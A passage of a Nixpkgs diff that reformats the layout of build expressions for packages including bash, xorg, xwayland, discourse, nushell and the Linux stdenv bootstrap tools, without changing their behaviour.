-          groff
-          ncurses
-          readline
-          libedit
-          python3
-        ]
-        ++ lib.optional (lib.versionOlder version "7") pcre
-        ++ lib.optional (lib.versionAtLeast version "7") pcre2
-        ++ lib.optional stdenv.hostPlatform.isDarwin libunwind
-        ++ lib.optional stdenv.hostPlatform.isLinux jemalloc;
+      buildInputs = [
+        libxslt
+        groff
+        ncurses
+        readline
+        libedit
+        python3
+      ]
+      ++ lib.optional (lib.versionOlder version "7") pcre
+      ++ lib.optional (lib.versionAtLeast version "7") pcre2
+      ++ lib.optional stdenv.hostPlatform.isDarwin libunwind
+      ++ lib.optional stdenv.hostPlatform.isLinux jemalloc;
 
       buildFlags = [ "localstatedir=/var/run" ];
 
diff --git a/pkgs/servers/web-apps/bookstack/composer-env.nix b/pkgs/servers/web-apps/bookstack/composer-env.nix
index b050628e8d1b..da71fe766e4f 100644
--- a/pkgs/servers/web-apps/bookstack/composer-env.nix
+++ b/pkgs/servers/web-apps/bookstack/composer-env.nix
@@ -175,7 +175,8 @@ let
         buildInputs = [
           php
           composer
-        ] ++ buildInputs;
+        ]
+        ++ buildInputs;
 
         inherit unpackPhase buildPhase;
 
diff --git a/pkgs/servers/web-apps/bookstack/default.nix b/pkgs/servers/web-apps/bookstack/default.nix
index f52cc3c3ef0e..a99bf00f9003 100644
--- a/pkgs/servers/web-apps/bookstack/default.nix
+++ b/pkgs/servers/web-apps/bookstack/default.nix
@@ -14,14 +14,12 @@ let
       noDev = true; # Disable development dependencies
     }).overrideAttrs
       (attrs: {
-        installPhase =
-          attrs.installPhase
-          + ''
-            rm -R $out/storage $out/public/uploads
-            ln -s ${dataDir}/.env $out/.env
-            ln -s ${dataDir}/storage $out/storage
-            ln -s ${dataDir}/public/uploads $out/public/uploads
-          '';
+        installPhase = attrs.installPhase + ''
+          rm -R $out/storage $out/public/uploads
+          ln -s ${dataDir}/.env $out/.env
+          ln -s ${dataDir}/storage $out/storage
+          ln -s ${dataDir}/public/uploads $out/public/uploads
+        '';
       });
 
 in
diff --git a/pkgs/servers/web-apps/discourse/default.nix b/pkgs/servers/web-apps/discourse/default.nix
index 7476c6467b2f..aa6ebedb657c 100644
--- a/pkgs/servers/web-apps/discourse/default.nix
+++ b/pkgs/servers/web-apps/discourse/default.nix
@@ -122,30 +122,29 @@ let
         pluginName = if name != null then name else "${pname}-${version}";
         dontConfigure = true;
         dontBuild = true;
-        installPhase =
-          ''
-            runHook preInstall
-            mkdir -p $out
-            cp -r * $out/
-          ''
-          + lib.optionalString (bundlerEnvArgs != { }) (
-            if preserveGemsDir then
-              ''
-                cp -r ${rubyEnv}/lib/ruby/gems/* $out/gems/
-              ''
-            else
-              ''
-                if [[ -e $out/gems ]]; then
-                  echo "Warning: The repo contains a 'gems' directory which will be removed!"
-                  echo "         If you need to preserve it, set 'preserveGemsDir = true'."
-                  rm -r $out/gems
-                fi
-                ln -sf ${rubyEnv}/lib/ruby/gems $out/gems
-              ''
-              + ''
-                runHook postInstall
-              ''
-          );
+        installPhase = ''
+          runHook preInstall
+          mkdir -p $out
+          cp -r * $out/
+        ''
+        + lib.optionalString (bundlerEnvArgs != { }) (
+          if preserveGemsDir then
+            ''
+              cp -r ${rubyEnv}/lib/ruby/gems/* $out/gems/
+            ''
+          else
+            ''
+              if [[ -e $out/gems ]]; then
+                echo "Warning: The repo contains a 'gems' directory which will be removed!"
+                echo "         If you need to preserve it, set 'preserveGemsDir = true'."
+                rm -r $out/gems
+              fi
+              ln -sf ${rubyEnv}/lib/ruby/gems $out/gems
+            ''
+            + ''
+              runHook postInstall
+            ''
+        );
       }
     );
 
diff --git a/pkgs/servers/web-apps/lemmy/server.nix b/pkgs/servers/web-apps/lemmy/server.nix
index c868e7463e5c..f1f84ada00c4 100644
--- a/pkgs/servers/web-apps/lemmy/server.nix
+++ b/pkgs/servers/web-apps/lemmy/server.nix
@@ -33,11 +33,12 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = pinData.serverCargoHash;
 
-  buildInputs =
-    [ libpq ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    libpq
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   # Using OPENSSL_NO_VENDOR is not an option on darwin
   # As of version 0.10.35 rust-openssl looks for openssl on darwin
diff --git a/pkgs/servers/web-apps/wordpress/packages/default.nix b/pkgs/servers/web-apps/wordpress/packages/default.nix
index a0b64dd245d7..5fafdd153413 100644
--- a/pkgs/servers/web-apps/wordpress/packages/default.nix
+++ b/pkgs/servers/web-apps/wordpress/packages/default.nix
@@ -68,7 +68,8 @@ let
 
             meta = {
               license = lib.licenses.${license};
-            } // (args.passthru or { });
+            }
+            // (args.passthru or { });
           }
           // lib.optionalAttrs (type == "language") {
             nativeBuildInputs = [
diff --git a/pkgs/servers/x11/xorg/overrides.nix b/pkgs/servers/x11/xorg/overrides.nix
index 6239be5aa87c..41d5a3b881c8 100644
--- a/pkgs/servers/x11/xorg/overrides.nix
+++ b/pkgs/servers/x11/xorg/overrides.nix
@@ -189,7 +189,8 @@ self: super:
     configureFlags = [
       "--enable-xkb"
       "--enable-xinput"
-    ] ++ lib.optional stdenv.hostPlatform.isStatic "--disable-shared";
+    ]
+    ++ lib.optional stdenv.hostPlatform.isStatic "--disable-shared";
     outputs = [
       "out"
       "dev"
@@ -237,13 +238,12 @@ self: super:
       attrs.configureFlags or [ ]
       ++ malloc0ReturnsNullCrossFlag
       ++ lib.optional (stdenv.targetPlatform.useLLVM or false) "ac_cv_path_RAWCPP=cpp";
-    depsBuildBuild =
-      [
-        buildPackages.stdenv.cc
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isStatic [
-        (xorg.buildPackages.stdenv.cc.libc.static or null)
-      ];
+    depsBuildBuild = [
+      buildPackages.stdenv.cc
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isStatic [
+      (xorg.buildPackages.stdenv.cc.libc.static or null)
+    ];
     preConfigure = ''
       sed 's,^as_dummy.*,as_dummy="\$PATH",' -i configure
     '';
@@ -1103,24 +1103,23 @@ self: super:
           prePatch = lib.optionalString stdenv.hostPlatform.isMusl ''
             export CFLAGS+=" -D__uid_t=uid_t -D__gid_t=gid_t"
           '';
-          configureFlags =
-            [
-              "--enable-kdrive" # not built by default
-              "--enable-xephyr"
-              "--enable-xcsecurity" # enable SECURITY extension
-              "--with-default-font-path="
-              # there were only paths containing "${prefix}",
-              # and there are no fonts in this package anyway
-              "--with-xkb-bin-directory=${xorg.xkbcomp}/bin"
-              "--with-xkb-path=${xorg.xkeyboardconfig}/share/X11/xkb"
-              "--with-xkb-output=$out/share/X11/xkb/compiled"
-              "--with-log-dir=/var/log"
-              "--enable-glamor"
-              "--with-os-name=Nix" # r13y, embeds the build machine's kernel version otherwise
-            ]
-            ++ lib.optionals stdenv.hostPlatform.isMusl [
-              "--disable-tls"
-            ];
+          configureFlags = [
+            "--enable-kdrive" # not built by default
+            "--enable-xephyr"
+            "--enable-xcsecurity" # enable SECURITY extension
+            "--with-default-font-path="
+            # there were only paths containing "${prefix}",
+            # and there are no fonts in this package anyway
+            "--with-xkb-bin-directory=${xorg.xkbcomp}/bin"
+            "--with-xkb-path=${xorg.xkeyboardconfig}/share/X11/xkb"
+            "--with-xkb-output=$out/share/X11/xkb/compiled"
+            "--with-log-dir=/var/log"
+            "--enable-glamor"
+            "--with-os-name=Nix" # r13y, embeds the build machine's kernel version otherwise
+          ]
+          ++ lib.optionals stdenv.hostPlatform.isMusl [
+            "--disable-tls"
+          ];
 
           env.NIX_CFLAGS_COMPILE = toString [
             # Needed with GCC 12
@@ -1185,12 +1184,10 @@ self: super:
             ./darwin/stub.patch
           ];
 
-          postPatch =
-            attrs.postPatch
-            + ''
-              substituteInPlace hw/xquartz/mach-startup/stub.c \
-                --subst-var-by XQUARTZ_APP "$out/Applications/XQuartz.app"
-            '';
+          postPatch = attrs.postPatch + ''
+            substituteInPlace hw/xquartz/mach-startup/stub.c \
+              --subst-var-by XQUARTZ_APP "$out/Applications/XQuartz.app"
+          '';
 
           configureFlags = [
             # note: --enable-xquartz is auto
@@ -1231,24 +1228,23 @@ self: super:
   # and doesn't support hardware accelerated rendering
   # so remove it from the rebuild heavy path for mesa
   xvfb = super.xorgserver.overrideAttrs (old: {
-    configureFlags =
-      [
-        "--enable-xvfb"
-        "--disable-xorg"
-        "--disable-xquartz"
-        "--disable-xwayland"
-        "--disable-glamor"
-        "--disable-glx"
-        "--disable-dri"
-        "--disable-dri2"
-        "--disable-dri3"
-        "--with-xkb-bin-directory=${xorg.xkbcomp}/bin"
-        "--with-xkb-path=${xorg.xkeyboardconfig}/share/X11/xkb"
-        "--with-xkb-output=$out/share/X11/xkb/compiled"
-      ]
-      ++ lib.optional stdenv.hostPlatform.isDarwin [
-        "--without-dtrace"
-      ];
+    configureFlags = [
+      "--enable-xvfb"
+      "--disable-xorg"
+      "--disable-xquartz"
+      "--disable-xwayland"
+      "--disable-glamor"
+      "--disable-glx"
+      "--disable-dri"
+      "--disable-dri2"
+      "--disable-dri3"
+      "--with-xkb-bin-directory=${xorg.xkbcomp}/bin"
+      "--with-xkb-path=${xorg.xkeyboardconfig}/share/X11/xkb"
+      "--with-xkb-output=$out/share/X11/xkb/compiled"
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin [
+      "--without-dtrace"
+    ];
 
     buildInputs = old.buildInputs ++ [
       xorg.pixman
@@ -1320,15 +1316,14 @@ self: super:
       (attrs: {
         nativeBuildInputs = attrs.nativeBuildInputs ++ lib.optional isDarwin bootstrap_cmds;
         depsBuildBuild = [ buildPackages.stdenv.cc ];
-        configureFlags =
-          [
-            "--with-xserver=${xorg.xorgserver.out}/bin/X"
-          ]
-          ++ lib.optionals isDarwin [
-            "--with-bundle-id-prefix=org.nixos.xquartz"
-            "--with-launchdaemons-dir=\${out}/LaunchDaemons"
-            "--with-launchagents-dir=\${out}/LaunchAgents"
-          ];
+        configureFlags = [
+          "--with-xserver=${xorg.xorgserver.out}/bin/X"
+        ]
+        ++ lib.optionals isDarwin [
+          "--with-bundle-id-prefix=org.nixos.xquartz"
+          "--with-launchdaemons-dir=\${out}/LaunchDaemons"
+          "--with-launchagents-dir=\${out}/LaunchAgents"
+        ];
         postPatch = ''
           # Avoid replacement of word-looking cpp's builtin macros in Nix's cross-compiled paths
           substituteInPlace Makefile.in --replace "PROGCPPDEFS =" "PROGCPPDEFS = -Dlinux=linux -Dunix=unix"
diff --git a/pkgs/servers/x11/xorg/xwayland.nix b/pkgs/servers/x11/xorg/xwayland.nix
index 3b255de27691..5b24b53185fa 100644
--- a/pkgs/servers/x11/xorg/xwayland.nix
+++ b/pkgs/servers/x11/xorg/xwayland.nix
@@ -75,49 +75,48 @@ stdenv.mkDerivation rec {
     ninja
     wayland-scanner
   ];
-  buildInputs =
-    [
-      dri-pkgconfig-stub
-      egl-wayland
-      libdecor
-      libgbm
-      libepoxy
-      libei
-      fontutil
-      libGL
-      libGLU
-      libX11
-      libXau
-      libXaw
-      libXdmcp
-      libXext
-      libXfixes
-      libXfont2
-      libXmu
-      libXpm
-      libXrender
-      libXres
-      libXt
-      libdrm
-      libtirpc
-      libxcb
-      libxkbfile
-      libxshmfence
-      libxcvt
-      mesa-gl-headers
-      openssl
-      pixman
-      systemd
-      wayland
-      wayland-protocols
-      xkbcomp
-      xorgproto
-      xtrans
-      zlib
-    ]
-    ++ lib.optionals withLibunwind [
-      libunwind
-    ];
+  buildInputs = [
+    dri-pkgconfig-stub
+    egl-wayland
+    libdecor
+    libgbm
+    libepoxy
+    libei
+    fontutil
+    libGL
+    libGLU
+    libX11
+    libXau
+    libXaw
+    libXdmcp
+    libXext
+    libXfixes
+    libXfont2
+    libXmu
+    libXpm
+    libXrender
+    libXres
+    libXt
+    libdrm
+    libtirpc
+    libxcb
+    libxkbfile
+    libxshmfence
+    libxcvt
+    mesa-gl-headers
+    openssl
+    pixman
+    systemd
+    wayland
+    wayland-protocols
+    xkbcomp
+    xorgproto
+    xtrans
+    zlib
+  ]
+  ++ lib.optionals withLibunwind [
+    libunwind
+  ];
   mesonFlags = [
     (lib.mesonBool "xcsecurity" true)
     (lib.mesonOption "default_font_path" defaultFontPath)
diff --git a/pkgs/servers/xmpp/prosody/default.nix b/pkgs/servers/xmpp/prosody/default.nix
index e88f6184e0ae..997716a8928f 100644
--- a/pkgs/servers/xmpp/prosody/default.nix
+++ b/pkgs/servers/xmpp/prosody/default.nix
@@ -66,7 +66,8 @@ stdenv.mkDerivation rec {
     libidn
     openssl
     icu
-  ] ++ withExtraLibs;
+  ]
+  ++ withExtraLibs;
 
   configureFlags = [
     "--ostype=linux"
diff --git a/pkgs/shells/bash/5.nix b/pkgs/shells/bash/5.nix
index 66172bddd125..84c6ce7573cf 100644
--- a/pkgs/shells/bash/5.nix
+++ b/pkgs/shells/bash/5.nix
@@ -39,12 +39,13 @@ lib.warnIf (withDocs != null)
       sha256 = "sha256-oTnBZt9/9EccXgczBRZC7lVWwcyKSnjxRVg8XIGrMvs=";
     };
 
-    hardeningDisable =
-      [ "format" ]
-      # bionic libc is super weird and has issues with fortify outside of its own libc, check this comment:
-      # https://github.com/NixOS/nixpkgs/pull/192630#discussion_r978985593
-      # or you can check libc/include/sys/cdefs.h in bionic source code
-      ++ lib.optional (stdenv.hostPlatform.libc == "bionic") "fortify";
+    hardeningDisable = [
+      "format"
+    ]
+    # bionic libc is super weird and has issues with fortify outside of its own libc, check this comment:
+    # https://github.com/NixOS/nixpkgs/pull/192630#discussion_r978985593
+    # or you can check libc/include/sys/cdefs.h in bionic source code
+    ++ lib.optional (stdenv.hostPlatform.libc == "bionic") "fortify";
 
     outputs = [
       "out"
@@ -56,20 +57,19 @@ lib.warnIf (withDocs != null)
 
     separateDebugInfo = true;
 
-    env.NIX_CFLAGS_COMPILE =
-      ''
-        -DSYS_BASHRC="/etc/bashrc"
-        -DSYS_BASH_LOGOUT="/etc/bash_logout"
-      ''
-      + lib.optionalString (!forFHSEnv) ''
-        -DDEFAULT_PATH_VALUE="/no-such-path"
-        -DSTANDARD_UTILS_PATH="/no-such-path"
-        -DDEFAULT_LOADABLE_BUILTINS_PATH="${placeholder "out"}/lib/bash:."
-      ''
-      + ''
-        -DNON_INTERACTIVE_LOGIN_SHELLS
-        -DSSH_SOURCE_BASHRC
-      '';
+    env.NIX_CFLAGS_COMPILE = ''
+      -DSYS_BASHRC="/etc/bashrc"
+      -DSYS_BASH_LOGOUT="/etc/bash_logout"
+    ''
+    + lib.optionalString (!forFHSEnv) ''
+      -DDEFAULT_PATH_VALUE="/no-such-path"
+      -DSTANDARD_UTILS_PATH="/no-such-path"
+      -DDEFAULT_LOADABLE_BUILTINS_PATH="${placeholder "out"}/lib/bash:."
+    ''
+    + ''
+      -DNON_INTERACTIVE_LOGIN_SHELLS
+      -DSSH_SOURCE_BASHRC
+    '';
 
     patchFlags = [ "-p0" ];
 
@@ -83,43 +83,42 @@ lib.warnIf (withDocs != null)
       ./fix-pop-var-context-error.patch
     ];
 
-    configureFlags =
-      [
-        # At least on Linux bash memory allocator has pathological performance
-        # in scenarios involving use of larger memory:
-        #   https://lists.gnu.org/archive/html/bug-bash/2023-08/msg00052.html
-        # Various distributions default to system allocator. Let's nixpkgs
-        # do the same.
-        "--without-bash-malloc"
-        (if interactive then "--with-installed-readline" else "--disable-readline")
-      ]
-      ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-        "bash_cv_job_control_missing=nomissing"
-        "bash_cv_sys_named_pipes=nomissing"
-        "bash_cv_getcwd_malloc=yes"
-        # This check cannot be performed when cross compiling. The "yes"
-        # default is fine for static linking on Linux (weak symbols?) but
-        # not with BSDs, when it does clash with the regular `getenv`.
-        "bash_cv_getenv_redef=${
-          if !(with stdenv.hostPlatform; isStatic && (isOpenBSD || isFreeBSD)) then "yes" else "no"
-        }"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isCygwin [
-        "--without-libintl-prefix"
-        "--without-libiconv-prefix"
-        "--with-installed-readline"
-        "bash_cv_dev_stdin=present"
-        "bash_cv_dev_fd=standard"
-        "bash_cv_termcap_lib=libncurses"
-      ]
-      ++ lib.optionals (stdenv.hostPlatform.libc == "musl") [
-        "--disable-nls"
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
-        # /dev/fd is optional on FreeBSD. we need it to work when built on a system
-        # with it and transferred to a system without it! This includes linux cross.
-        "bash_cv_dev_fd=absent"
-      ];
+    configureFlags = [
+      # At least on Linux bash memory allocator has pathological performance
+      # in scenarios involving use of larger memory:
+      #   https://lists.gnu.org/archive/html/bug-bash/2023-08/msg00052.html
+      # Various distributions default to system allocator. Let's nixpkgs
+      # do the same.
+      "--without-bash-malloc"
+      (if interactive then "--with-installed-readline" else "--disable-readline")
+    ]
+    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+      "bash_cv_job_control_missing=nomissing"
+      "bash_cv_sys_named_pipes=nomissing"
+      "bash_cv_getcwd_malloc=yes"
+      # This check cannot be performed when cross compiling. The "yes"
+      # default is fine for static linking on Linux (weak symbols?) but
+      # not with BSDs, when it does clash with the regular `getenv`.
+      "bash_cv_getenv_redef=${
+        if !(with stdenv.hostPlatform; isStatic && (isOpenBSD || isFreeBSD)) then "yes" else "no"
+      }"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isCygwin [
+      "--without-libintl-prefix"
+      "--without-libiconv-prefix"
+      "--with-installed-readline"
+      "bash_cv_dev_stdin=present"
+      "bash_cv_dev_fd=standard"
+      "bash_cv_termcap_lib=libncurses"
+    ]
+    ++ lib.optionals (stdenv.hostPlatform.libc == "musl") [
+      "--disable-nls"
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isFreeBSD [
+      # /dev/fd is optional on FreeBSD. we need it to work when built on a system
+      # with it and transferred to a system without it! This includes linux cross.
+      "bash_cv_dev_fd=absent"
+    ];
 
     strictDeps = true;
     # Note: Bison is needed because the patches above modify parse.y.
@@ -127,7 +126,8 @@ lib.warnIf (withDocs != null)
     nativeBuildInputs = [
       updateAutotoolsGnuConfigScriptsHook
       bison
-    ] ++ lib.optional stdenv.hostPlatform.isDarwin stdenv.cc.bintools;
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin stdenv.cc.bintools;
 
     buildInputs = lib.optional interactive readline;
 
diff --git a/pkgs/shells/fish/plugins/build-fish-plugin.nix b/pkgs/shells/fish/plugins/build-fish-plugin.nix
index 7f57cf2c6f2e..a3366707f548 100644
--- a/pkgs/shells/fish/plugins/build-fish-plugin.nix
+++ b/pkgs/shells/fish/plugins/build-fish-plugin.nix
@@ -75,7 +75,8 @@ stdenv.mkDerivation (
         pluginPkgs = checkPlugins;
         functionDirs = checkFunctionDirs;
       })
-    ] ++ nativeCheckInputs;
+    ]
+    ++ nativeCheckInputs;
 
     checkPhase = ''
       export HOME=$(mktemp -d)  # fish wants a writable home
diff --git a/pkgs/shells/fish/plugins/fzf-fish.nix b/pkgs/shells/fish/plugins/fzf-fish.nix
index 1bf3f640e309..ed4abfb44125 100644
--- a/pkgs/shells/fish/plugins/fzf-fish.nix
+++ b/pkgs/shells/fish/plugins/fzf-fish.nix
@@ -36,27 +36,26 @@ buildFishPlugin rec {
     fishtape_3
   ];
   checkFunctionDirs = [ "./functions" ];
-  checkPhase =
-    ''
-      # Disable git tests which inspect the project's git repo, which isn't
-      # possible since we strip the impure .git from our build input
-      rm -r tests/*git*
-      rm -r tests/preview_changed_file/modified_path_with_spaces.fish
-      rm -r tests/preview_changed_file/renamed_path_modifications.fish
+  checkPhase = ''
+    # Disable git tests which inspect the project's git repo, which isn't
+    # possible since we strip the impure .git from our build input
+    rm -r tests/*git*
+    rm -r tests/preview_changed_file/modified_path_with_spaces.fish
+    rm -r tests/preview_changed_file/renamed_path_modifications.fish
 
-      # Disable tests that are failing, probably because of our wrappers
-      rm -r tests/configure_bindings
-      rm -r tests/search_variables
+    # Disable tests that are failing, probably because of our wrappers
+    rm -r tests/configure_bindings
+    rm -r tests/search_variables
 
-      # Disable tests that are failing, because there is not 'rev' command
-      rm tests/preview_file/custom_file_preview.fish
-    ''
-    + (
-      if stdenv.hostPlatform.isDarwin then
-        ''script /dev/null fish -c "fishtape tests/*/*.fish"''
-      else
-        ''script -c 'fish -c "fishtape tests/*/*.fish"' ''
-    );
+    # Disable tests that are failing, because there is not 'rev' command
+    rm tests/preview_file/custom_file_preview.fish
+  ''
+  + (
+    if stdenv.hostPlatform.isDarwin then
+      ''script /dev/null fish -c "fishtape tests/*/*.fish"''
+    else
+      ''script -c 'fish -c "fishtape tests/*/*.fish"' ''
+  );
 
   meta = with lib; {
     description = "Augment your fish command line with fzf key bindings";
diff --git a/pkgs/shells/nushell/default.nix b/pkgs/shells/nushell/default.nix
index 6948701abc3a..e5d67992f8d4 100644
--- a/pkgs/shells/nushell/default.nix
+++ b/pkgs/shells/nushell/default.nix
@@ -40,24 +40,24 @@ rustPlatform.buildRustPackage {
   useFetchCargoVendor = true;
   cargoHash = "sha256-zem4HgxO0DD22Bxvs9KN3Zb5E991svV5qcw7MfDUOq4=";
 
-  nativeBuildInputs =
-    [ pkg-config ]
-    ++ lib.optionals (withDefaultFeatures && stdenv.hostPlatform.isLinux) [ python3 ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ rustPlatform.bindgenHook ];
+  nativeBuildInputs = [
+    pkg-config
+  ]
+  ++ lib.optionals (withDefaultFeatures && stdenv.hostPlatform.isLinux) [ python3 ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ rustPlatform.bindgenHook ];
 
-  buildInputs =
-    [
-      openssl
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      zlib
-    ]
-    ++ lib.optionals (withDefaultFeatures && stdenv.hostPlatform.isLinux) [ xorg.libX11 ]
-    ++ lib.optionals (withDefaultFeatures && stdenv.hostPlatform.isDarwin) [
-      nghttp2
-      libgit2
-    ];
+  buildInputs = [
+    openssl
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    zlib
+  ]
+  ++ lib.optionals (withDefaultFeatures && stdenv.hostPlatform.isLinux) [ xorg.libX11 ]
+  ++ lib.optionals (withDefaultFeatures && stdenv.hostPlatform.isDarwin) [
+    nghttp2
+    libgit2
+  ];
 
   buildNoDefaultFeatures = !withDefaultFeatures;
   buildFeatures = additionalFeatures [ ];
diff --git a/pkgs/stdenv/generic/check-meta.nix b/pkgs/stdenv/generic/check-meta.nix
index d13a4264028f..40d945304d67 100644
--- a/pkgs/stdenv/generic/check-meta.nix
+++ b/pkgs/stdenv/generic/check-meta.nix
@@ -602,7 +602,8 @@ let
           else
             findFirst hasOutput null outputs
         )
-      ] ++ optional (hasOutput "man") "man";
+      ]
+      ++ optional (hasOutput "man") "man";
     }
     // (filterAttrs (_: v: v != null) {
       # CI scripts look at these to determine pings. Note that we should filter nulls out of this,
@@ -620,8 +621,7 @@ let
       # Note that there may be external consumers of this API (repology, for instance) -
       # if you add a new maintainer or team attribute please ensure that this expectation is still met.
       maintainers =
-        attrs.meta.maintainers or [ ]
-        ++ concatMap (team: team.members or [ ]) attrs.meta.teams or [ ];
+        attrs.meta.maintainers or [ ] ++ concatMap (team: team.members or [ ]) attrs.meta.teams or [ ];
     }
     // {
       # Expose the result of the checks for everyone to see.
diff --git a/pkgs/stdenv/generic/make-derivation.nix b/pkgs/stdenv/generic/make-derivation.nix
index cf7917f366a9..cf46f4dbfd78 100644
--- a/pkgs/stdenv/generic/make-derivation.nix
+++ b/pkgs/stdenv/generic/make-derivation.nix
@@ -603,14 +603,15 @@ let
               # TODO: remove `unique` once nix has a list canonicalization primitive
               __sandboxProfile =
                 let
-                  profiles =
-                    [ stdenv.extraSandboxProfile ]
-                    ++ computedSandboxProfile
-                    ++ computedPropagatedSandboxProfile
-                    ++ [
-                      propagatedSandboxProfile
-                      sandboxProfile
-                    ];
+                  profiles = [
+                    stdenv.extraSandboxProfile
+                  ]
+                  ++ computedSandboxProfile
+                  ++ computedPropagatedSandboxProfile
+                  ++ [
+                    propagatedSandboxProfile
+                    sandboxProfile
+                  ];
                   final = concatStringsSep "\n" (filter (x: x != "") (unique profiles));
                 in
                 final;
diff --git a/pkgs/stdenv/linux/default.nix b/pkgs/stdenv/linux/default.nix
index 7682419db9d6..fb41e737a42c 100644
--- a/pkgs/stdenv/linux/default.nix
+++ b/pkgs/stdenv/linux/default.nix
@@ -217,11 +217,9 @@ let
                 a:
                 lib.optionalAttrs (prevStage.gcc-unwrapped.passthru.isXgcc or false) {
                   # This affects only `xgcc` (the compiler which compiles the final compiler).
-                  postFixup =
-                    (a.postFixup or "")
-                    + ''
-                      echo "--sysroot=${lib.getDev (getLibc prevStage)}" >> $out/nix-support/cc-cflags
-                    '';
+                  postFixup = (a.postFixup or "") + ''
+                    echo "--sysroot=${lib.getDev (getLibc prevStage)}" >> $out/nix-support/cc-cflags
+                  '';
                 }
               );
 
@@ -273,17 +271,16 @@ assert bootstrapTools.passthru.isFromBootstrapFiles or false; # sanity check
           strictDeps = true;
           version = "bootstrapFiles";
           enableParallelBuilding = true;
-          buildCommand =
-            ''
-              mkdir -p $out
-              ln -s ${bootstrapTools}/lib $out/lib
-            ''
-            + lib.optionalString (localSystem.libc == "glibc") ''
-              ln -s ${bootstrapTools}/include-glibc $out/include
-            ''
-            + lib.optionalString (localSystem.libc == "musl") ''
-              ln -s ${bootstrapTools}/include-libc $out/include
-            '';
+          buildCommand = ''
+            mkdir -p $out
+            ln -s ${bootstrapTools}/lib $out/lib
+          ''
+          + lib.optionalString (localSystem.libc == "glibc") ''
+            ln -s ${bootstrapTools}/include-glibc $out/include
+          ''
+          + lib.optionalString (localSystem.libc == "musl") ''
+            ln -s ${bootstrapTools}/include-libc $out/include
+          '';
           passthru.isFromBootstrapFiles = true;
         };
         gcc-unwrapped = bootstrapTools;
@@ -512,11 +509,9 @@ assert bootstrapTools.passthru.isFromBootstrapFiles or false; # sanity check
         # and use the result as input for our final glibc.  We also pass this pair
         # through, so the final package-set uses exactly the same builds.
         libunistring = super.libunistring.overrideAttrs (attrs: {
-          postFixup =
-            attrs.postFixup or ""
-            + ''
-              ${self.nukeReferences}/bin/nuke-refs "$out"/lib/lib*.so.*.*
-            '';
+          postFixup = attrs.postFixup or "" + ''
+            ${self.nukeReferences}/bin/nuke-refs "$out"/lib/lib*.so.*.*
+          '';
           # Apparently iconv won't work with bootstrap glibc, but it will be used
           # with glibc built later where we keep *this* build of libunistring,
           # so we need to trick it into supporting libiconv.
@@ -525,12 +520,10 @@ assert bootstrapTools.passthru.isFromBootstrapFiles or false; # sanity check
           };
         });
         libidn2 = super.libidn2.overrideAttrs (attrs: {
-          postFixup =
-            attrs.postFixup or ""
-            + ''
-              ${self.nukeReferences}/bin/nuke-refs -e '${lib.getLib self.libunistring}' \
-                "$out"/lib/lib*.so.*.*
-            '';
+          postFixup = attrs.postFixup or "" + ''
+            ${self.nukeReferences}/bin/nuke-refs -e '${lib.getLib self.libunistring}' \
+              "$out"/lib/lib*.so.*.*
+          '';
         });
 
         # This also contains the full, dynamically linked, final Glibc.
diff --git a/pkgs/stdenv/linux/stdenv-bootstrap-tools.nix b/pkgs/stdenv/linux/stdenv-bootstrap-tools.nix
index 5293240a4480..e4f1ae734205 100644
--- a/pkgs/stdenv/linux/stdenv-bootstrap-tools.nix
+++ b/pkgs/stdenv/linux/stdenv-bootstrap-tools.nix
@@ -44,163 +44,162 @@ stdenv.mkDerivation (finalAttrs: {
     buildPackages.cpio
   ];
 
-  buildCommand =
-    ''
-      set -x
-      mkdir -p $out/bin $out/lib $out/libexec
+  buildCommand = ''
+    set -x
+    mkdir -p $out/bin $out/lib $out/libexec
 
-    ''
-    + (
-      if (stdenv.hostPlatform.libc == "glibc") then
-        ''
-          # Copy what we need of Glibc.
-          cp -d ${libc.out}/lib/ld*.so* $out/lib
-          cp -d ${libc.out}/lib/libc*.so* $out/lib
-          cp -d ${libc.out}/lib/libc_nonshared.a $out/lib
-          cp -d ${libc.out}/lib/libm*.so* $out/lib
-          cp -d ${libc.out}/lib/libdl*.so* $out/lib
-          cp -d ${libc.out}/lib/librt*.so*  $out/lib
-          cp -d ${libc.out}/lib/libpthread*.so* $out/lib
-        ''
-        + lib.optionalString withLibnsl ''
-          cp -d ${libc.out}/lib/libnsl*.so* $out/lib
-        ''
-        + ''
-          cp -d ${libc.out}/lib/libnss*.so* $out/lib
-          cp -d ${libc.out}/lib/libresolv*.so* $out/lib
-          # Copy all runtime files to enable non-PIE, PIE, static PIE and profile-generated builds
-          cp -d ${libc.out}/lib/*.o $out/lib
+  ''
+  + (
+    if (stdenv.hostPlatform.libc == "glibc") then
+      ''
+        # Copy what we need of Glibc.
+        cp -d ${libc.out}/lib/ld*.so* $out/lib
+        cp -d ${libc.out}/lib/libc*.so* $out/lib
+        cp -d ${libc.out}/lib/libc_nonshared.a $out/lib
+        cp -d ${libc.out}/lib/libm*.so* $out/lib
+        cp -d ${libc.out}/lib/libdl*.so* $out/lib
+        cp -d ${libc.out}/lib/librt*.so*  $out/lib
+        cp -d ${libc.out}/lib/libpthread*.so* $out/lib
+      ''
+      + lib.optionalString withLibnsl ''
+        cp -d ${libc.out}/lib/libnsl*.so* $out/lib
+      ''
+      + ''
+        cp -d ${libc.out}/lib/libnss*.so* $out/lib
+        cp -d ${libc.out}/lib/libresolv*.so* $out/lib
+        # Copy all runtime files to enable non-PIE, PIE, static PIE and profile-generated builds
+        cp -d ${libc.out}/lib/*.o $out/lib
 
